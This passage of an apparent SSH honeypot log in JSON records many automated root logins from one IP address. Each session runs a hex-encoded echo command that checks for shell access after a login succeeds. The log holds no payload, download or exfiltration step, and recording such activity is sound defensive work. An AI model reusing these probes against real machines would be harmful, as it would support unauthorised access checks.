  "name": "cheerful-downy-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35378,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:57.049430+00:00",
  "ended_at": "2026-08-23T09:21:58.865716+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6a92760f-50a0-40ec-b7dd-6e02e73bbf15",
  "name": "wry-granite-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35376,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:54.699415+00:00",
  "ended_at": "2026-08-23T09:21:56.238912+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "61efc2d2-49e3-4878-8bad-d4a25328ac57",
  "name": "keen-blunt-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35370,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:52.482131+00:00",
  "ended_at": "2026-08-23T09:21:53.802901+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7a1bd20a-5c44-4534-85a5-0fc2db381cad",
  "name": "deft-subtle-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35366,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:49.917150+00:00",
  "ended_at": "2026-08-23T09:21:51.715288+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "60322421-88ee-4b19-b582-fb6ce62d6477",
  "name": "vigilant-quaint-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49030,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:46.878085+00:00",
  "ended_at": "2026-08-23T09:21:49.094129+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4b28d9f3-08c1-4f57-bce0-85b9618f2933",
  "name": "emerald-rustic-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49022,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:44.492910+00:00",
  "ended_at": "2026-08-23T09:21:46.202846+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "28e3e8b1-1a3c-4e10-b833-aa412a589715",
  "name": "dewy-sooty-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49012,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:42.569129+00:00",
  "ended_at": "2026-08-23T09:21:43.680144+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "84748287-7698-4051-a035-d6d69b52e6db",
  "name": "canny-glassy-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49006,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:39.663095+00:00",
  "ended_at": "2026-08-23T09:21:41.782120+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e4be8b50-209b-4d74-aa61-635e70c9e6fa",
  "name": "bitter-bold-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43706,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:37.247307+00:00",
  "ended_at": "2026-08-23T09:21:38.954858+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c0a3c91d-8401-407d-b20b-15598a334b12",
  "name": "sullen-fringed-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43704,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:34.294357+00:00",
  "ended_at": "2026-08-23T09:21:36.513536+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0121da8a-b9f2-4645-b902-c841322b7b37",
  "name": "jovial-coral-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43702,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:32.633823+00:00",
  "ended_at": "2026-08-23T09:21:33.552402+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "22e72695-d953-4290-b217-2cc45b6f7a61",
  "name": "spirited-amber-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43698,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:29.692823+00:00",
  "ended_at": "2026-08-23T09:21:31.852841+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a00dcbc5-47ba-466f-b06b-187e17ceb01e",
  "name": "shifting-bold-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51182,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:27.394947+00:00",
  "ended_at": "2026-08-23T09:21:28.916702+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9eb4abd7-5b01-45d4-8504-7a806e16df51",
  "name": "rustic-lawful-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51174,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:24.642385+00:00",
  "ended_at": "2026-08-23T09:21:26.687942+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dc61edc5-7611-4dbb-9aaf-c67da6b0e799",
  "name": "misty-kindly-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51162,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:22.731476+00:00",
  "ended_at": "2026-08-23T09:21:23.814359+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "86c19937-7ed6-40dc-826c-436387c6126c",
  "name": "velvet-civil-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51150,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:19.859392+00:00",
  "ended_at": "2026-08-23T09:21:22.091933+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b9778997-590b-400c-96b4-8ea35c97ebbc",
  "name": "chilly-weathered-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51592,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:18.249492+00:00",
  "ended_at": "2026-08-23T09:21:19.210946+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "276af57d-b1e0-4231-83a1-6f8b7e888462",
  "name": "sunlit-quartz-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51586,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:16.140057+00:00",
  "ended_at": "2026-08-23T09:21:17.496015+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9da47d1c-e397-46a9-a67a-25d9f99c5057",
  "name": "blunt-pleasant-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51578,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:13.138579+00:00",
  "ended_at": "2026-08-23T09:21:15.325992+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bb116676-f294-4846-9bf8-13b582e95309",
  "name": "lanky-steady-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:11.334081+00:00",
  "ended_at": "2026-08-23T09:21:12.451191+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "87152ed5-ef19-4764-9c81-3a80beab435f",
  "name": "proud-noble-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:09.339652+00:00",
  "ended_at": "2026-08-23T09:21:10.632022+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f0261d92-1f13-43c2-8f12-00715773726b",
  "name": "dutiful-indigo-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50604,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:07.056274+00:00",
  "ended_at": "2026-08-23T09:21:08.676029+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bed395a6-54fc-4ee4-b65f-afdfcc850a1a",
  "name": "oaken-vivid-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50600,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:04.185007+00:00",
  "ended_at": "2026-08-23T09:21:06.288866+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c2d322b2-8f94-48b9-8776-d86d6e98dc53",
  "name": "tender-humble-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50596,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:02.210245+00:00",
  "ended_at": "2026-08-23T09:21:03.546332+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9a3acce0-d785-4542-a7da-4a15fb6d30fe",
  "name": "weathered-patient-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50586,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:59.294821+00:00",
  "ended_at": "2026-08-23T09:21:01.506612+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "609de104-d21e-4e30-b803-b6d35d56df84",
  "name": "bashful-bold-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33626,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:56.924322+00:00",
  "ended_at": "2026-08-23T09:20:58.640136+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2dc23256-3c53-4ddf-aa0d-c049da3bd437",
  "name": "twilight-woven-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:53.819038+00:00",
  "ended_at": "2026-08-23T09:20:56.089692+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4c19f758-aed9-417a-9a27-fc69d913b39c",
  "name": "barren-blunt-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33614,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:51.305410+00:00",
  "ended_at": "2026-08-23T09:20:53.026244+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "044d0341-8593-47b9-b9e8-c2e81c3ee7aa",
  "name": "whispering-fleeting-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53522,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:48.539809+00:00",
  "ended_at": "2026-08-23T09:20:50.551564+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "065656ff-9ce4-4298-9686-82f8fad671ec",
  "name": "mossy-bitter-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53508,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:45.893325+00:00",
  "ended_at": "2026-08-23T09:20:47.743860+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "10bb28b5-97af-4fc7-b7c0-1700ea54f7e6",
  "name": "windswept-dusky-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53498,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:44.050392+00:00",
  "ended_at": "2026-08-23T09:20:45.046858+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f15457b8-a8dc-4e5d-8085-b52b8e8151ca",
  "name": "slender-bitter-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53494,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:42.137077+00:00",
  "ended_at": "2026-08-23T09:20:43.320909+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bf17d3a5-532f-4604-9022-e9e9b1605cfe",
  "name": "foggy-boreal-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53484,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:39.948328+00:00",
  "ended_at": "2026-08-23T09:20:41.375780+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a6a6d86a-43ab-4de9-8e03-3c4c30031695",
  "name": "mottled-dapper-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40120,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:37.598227+00:00",
  "ended_at": "2026-08-23T09:20:39.162851+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "650b47c6-a63a-44a9-bd9f-7c75c0086fe3",
  "name": "feral-northern-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:35.715413+00:00",
  "ended_at": "2026-08-23T09:20:36.814082+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "777e45f7-c4da-4e40-9d56-d429f544a953",
  "name": "opal-quartz-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40102,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:33.337552+00:00",
  "ended_at": "2026-08-23T09:20:34.947705+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "509e8096-9146-40cb-9289-ac265cd743fa",
  "name": "fierce-verdant-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40094,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:30.768040+00:00",
  "ended_at": "2026-08-23T09:20:32.710348+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d15239aa-acef-4479-b6b1-5c01bec296dc",
  "name": "painted-wandering-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56764,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:28.244461+00:00",
  "ended_at": "2026-08-23T09:20:29.945353+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "52c63842-ecc4-49e0-a0bb-8b07d246e8d3",
  "name": "hardy-craggy-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56754,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:25.181497+00:00",
  "ended_at": "2026-08-23T09:20:27.449962+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8091730d-4152-4b51-8206-42a4e07f16c8",
  "name": "keen-airy-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56750,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:22.242853+00:00",
  "ended_at": "2026-08-23T09:20:24.451507+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "31c13302-d73d-4454-bd95-b42d862f0d4a",
  "name": "verdant-woven-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56744,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:20.336429+00:00",
  "ended_at": "2026-08-23T09:20:21.458168+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2116ab26-40d3-433d-b132-d9f22a942bad",
  "name": "crystal-earnest-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50446,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:17.732038+00:00",
  "ended_at": "2026-08-23T09:20:19.712233+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cd43275b-9137-4941-b365-677e5927ce7b",
  "name": "sooty-mottled-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50440,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:11.701054+00:00",
  "ended_at": "2026-08-23T09:20:16.895047+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "52906f89-3304-4f50-8c3f-5231d7b966e4",
  "name": "idle-chilly-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50428,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:09.814073+00:00",
  "ended_at": "2026-08-23T09:20:11.002631+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5275837a-dfd5-44f5-bbed-0c787d2ccc93",
  "name": "sturdy-hidden-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44250,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:07.445530+00:00",
  "ended_at": "2026-08-23T09:20:09.019102+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2cff1463-89a2-497e-84ba-0950c569bd87",
  "name": "daring-subtle-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44244,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:05.298638+00:00",
  "ended_at": "2026-08-23T09:20:06.748514+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "444d354d-8b6b-4907-a40c-178bd6b00e1f",
  "name": "early-breezy-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44232,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:03.684377+00:00",
  "ended_at": "2026-08-23T09:20:04.665422+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fda73af6-5fb0-4634-bb4a-7853ceca163e",
  "name": "amiable-knotted-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44218,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:20:00.983549+00:00",
  "ended_at": "2026-08-23T09:20:02.941845+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c6d6e069-54c3-4c42-bd0c-a8c5cff0959a",
  "name": "quiet-russet-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:59.122148+00:00",
  "ended_at": "2026-08-23T09:20:00.246367+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a4283b33-54e9-4766-b0da-4066d992e55f",
  "name": "hidden-fierce-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50874,
  "username": "root",
